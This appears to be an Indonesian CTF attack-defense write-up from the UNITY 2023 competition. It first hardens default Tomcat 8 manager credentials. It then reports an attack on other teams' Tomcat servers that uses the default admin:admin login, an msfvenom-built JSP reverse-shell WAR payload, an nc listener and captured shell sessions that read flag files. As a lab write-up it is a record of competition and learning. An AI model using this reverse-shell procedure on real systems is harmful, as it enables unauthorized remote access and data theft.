

Big Brain Kidz



ardhani
kelapacuuyy
ZafiN

Sesi Defense

Pada saat sesi Defense kami melakukan eksplorasi pada ssh dan mencari tempat program - program bekerja. Ditemukan aplikasi tomcat 8 yang ketika kami cari di google memiliki kerentanan sehingga dapat di eksplot untuk mendapatkan RCE (remote code execution).

Tomcat 8 adalah server aplikasi web yang digunakan untuk menjalankan aplikasi web berbasis Java. Sedangkan JSP (JavaServer Pages) adalah teknologi yang memungkinkan pengembang web untuk membuat halaman web dinamis menggunakan Java.

Berdasarkan referensi link berikut

https://www.ixiasoft.com/documentation/IXIASOFT_CCMS/5.2/Administration_Guides/mcm1519317196060.html , kami mendapatkan informasi terhadap lokasi default username dan password dan berada di file tomcat-users.xml. Sehingga kami melakukan perubahan dengan tujuan tidak ada tim lain yang bisa mengakses manager tomcat pada ip kami. Lalu, untuk patching pada sistem tomcat ini kami hanya mengubah isi dari file tomcat-users.xml.

Dari yang seperti dibawah ini

```
<?xml version="1.0" encoding="UTF-8"?>
<!--
    Licensed to the Apache Software Foundation (ASF) under one or more
    contributor license agreements. See the NOTICE file distributed with
    this work for additional information regarding copyright ownership.
    The ASF licenses this file to You under the Apache License, Version 2.0
    (the "License"); you may not use this file except in compliance with
    the License. You may obtain a copy of the License at

        http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:schemaLocation="http://tomcat.apache.org/xml
tomcat-users.xsd"
```

```

        version="1.0">
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="admin"
roles="standart,manager-gui,admin-gui"/>
-->
</tomcat-users>
```

Menjadi seperti di bawah ini

```

<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:schemaLocation="http://tomcat.apache.org/xml
tomcat-users.xsd"
               version="1.0">
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="aljay12345"
password="53f41fc58aef7a919b659af48e80e511a29f37d8af42280aa30b53bfeeba185
7df1c7a516229832cd447d9d5e7fdd01e4548ba1ddf7000afed3a5b68ec65449"
roles="standart,manager-gui,admin-gui"/>
-->
</tomcat-users>
```

Kami mengubah username dari “admin” menjadi “aljay12345” dan mengubah password dari “admin” menjadi hash sha512 dari karakter random yang kami yakin cukup kuat dari serangan bruteforce.

Sesi Attack

<https://www.linkedin.com/pulse/attackdefense-one-target-ctf-10-x-writeup-krishna-kumaran-gk-/>

Dengan memanfaatkan default credentials dan fitur file upload dari tomcat 8 manager webapp, kita dapat reverse shell dengan mengupload payload berekstensi .war.

Reverse shell adalah teknik yang digunakan untuk mendapatkan akses ke sistem komputer target melalui jaringan. Dalam skenario reverse shell, komputer target (dalam hal ini, server Tomcat 8) terhubung ke komputer penyerang, dan komputer penyerang mendapatkan akses ke lingkungan shell (target di attdef unity) atau terminal komputer target.

Tahap pertama yaitu membuat payload .war untuk reverse shell dengan metasploit, berikut perintahnya:

- msfvenom -p java/jsp_shell_reverse_tcp lhost=10.1.40.32 lport=1337 -f war > bbkidz.war
 - lhost=10.1.40.32 (10.1.40.32 merupakan ip dari server ssh tim kami).
 - lport=1337 (1337 sebagai port listener ketika bind shell).

```

File Actions Edit View Help
kali@kali: ~ x root@unity2023: ~ x kali@kali: ~ x kali@kali: ~ x kali@kali: ~ x
Places - #####
# http://10.1.40.11:8080/manager/html/uploads/file_id=F03754A0F5D8B533CE3813405ABFC09d
# 403 Access Denied
# You are not allowed to access this resource.
# By default the manager application only allows running on the same machine as Tomcat. If you wish to modify this restriction, you'll need to edit the Manager's context.xml file.
# If you have already modified context.xml to allow access and you have used your browser's back button, used a saved bookmark or similar then you may have triggered the cross-site request forgery (CSRF) protection that has been enabled by default for this interface. You will need to reset this protection by returning to the main Manager page. Once you return to this page, you will be able to continue using the Manager application's HTML interface.
# If you receive a "403 Access Denied" message, check that you have the necessary permissions to access this application.
# If you have not modified context.xml, please examine the file conf/tomcat-users.xml in your installation. That file must contain the credentials to let you use this webapp.
# For example, below is a user entry named tomcat with a password of s3c3t; add the following to the config file listed above.
<role rolename="manager-gui"/>
<user username="tomcat" password="s3c3t" roles="manager-gui"/>
# Note that for Tomcat 7, the roles assigned to the manager application were changed from the single manager role to the following four roles. You will need to assign the role(s) required for the functionality you wish to access.
# https://metasploit.com
+ [ metasploit v6.3.4-dev ] msfconsole --help to learn more
Metasploit Documentation: https://docs.metasploit.com/
msf6 > msfvenom -p java/jsp_shell_reverse_tcp lhost=10.1.40.32 lport=1337 -f war > bbkidz.war
[*] exec: msfvenom -p java/jsp_shell_reverse_tcp lhost=10.1.40.32 lport=1337 -f war > bbkidz.war
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
Payload size: 1092 bytes
Final size of war file: 1092 bytes
msf6 > file bbkidz.war
[*] exec: file bbkidz.war
bbkidz.war: Zip archive data, at least v2.0 to extract, compression method=store
msf6 >

```

Lalu kami mengakses service tomcat-8 milik tim HaalooKack (10.1.40.3) dan CP Enjoyer (10.1.40.11) dengan default credential yaitu admin:admin ternyata dapat mengakses ke manager page.

Terdapat WAR file to deploy yang memiliki form file upload, kita input payload yang tadi digenerate via metasploit, lalu klik Deploy.

WAR file to deploy	
Select WAR file to upload	<input type="button" value="Browse..."/> bbkidz.war
<input type="button" value="Deploy"/>	

Terlihat di bawah ini payload kita sudah terupload di path /bbkidz dengan listener port 1337 dan ip host sesuai ssh tim Big Brain Kidz.

The screenshot shows a Kali Linux desktop environment with several windows open. In the terminal window, the user is running Metasploit and generating a Java exploit payload:

```
[msf6] > msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.1.4.1 LPORT=4444 -o bbkidz.war
[*] exec: msfvenom -p java/jsp_shell_reverse_tcp -o bbkidz.war
```

Overriding user environment Payload size: 1092 bytes Final size of war file: 1054

```
[msf6] > file bbkidz.war
[*] exec: file bbkidz.war
```

bbkidz.war: Zip archive data

```
msf6 > s
[-] Unknown command: s
```

```
msf6 > ls
[*] exec: ls
```

```
bbkidz.war bbk.txt BurpS
msf6 > exit
```

In the browser window, the address bar shows `10.1.40.3:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=33B8C0A`. The page displays the Tomcat Manager application list:

Path	Version	Display Name	Running	Sessions	Commands
/	None specified		true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/backup	None specified		true	2	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/bbkidz	None specified		true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/host-manager	None specified	Tomcat Host Manager Application	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/jsp_app	None specified		true	2	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/manager	None specified	Tomcat Manager Application	true	22	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/pwn	None specified		true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
10.1.40.3:8080/bbkidz	None specified		true	2	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes

Untuk proses reverse shell hanya perlu menjalankan listener menggunakan nc, dengan perintah berikut:

- nc -nlvp 1337

HalooKack

```
root@unity2023:/# nc -nlvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 10.1.40.3 34020 received!
cd home
grep -r "UNITY"
id
uid=112(tomcat8) gid=115(tomcat8) groups=115(tomcat8)
ls
conf
lib
logs
policy
webapps
work
cd /home
grep -r "UNITY"
debian/flag.txt:UNITY2023{kd098qj4ef9dnf8g3}
unity23/flag.txt:UNITY2023{200lbhxd94ywyw94wz7t6boh89}
linux/flag.txt:UNITY2023{kd098qj4ef9dnf8g3}
ubuntu/flag.txt:UNITY2023{kd098qj4ef9dnf8g3}
kali/flag.txt:UNITY2023{kd098qj4ef9dnf8g3}
unity2023/flag.txt:UNITY2023{kd098qj4ef9dnf8g3}
```

CP Enjoyer

```
root@unity2023:~# nc -nlvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from 10.1.40.11 44358 received!
cd /home
grep -r "UNITY"
debian/flag.txt:UNITY2023{d0o3qifs954jggj0gf}
linux/flag.txt:UNITY2023{d0o3qifs954jggj0gf}
ubuntu/flag.txt:UNITY2023{d0o3qifs954jggj0gf}
kali/flag.txt:UNITY2023{d0o3qifs954jggj0gf}
```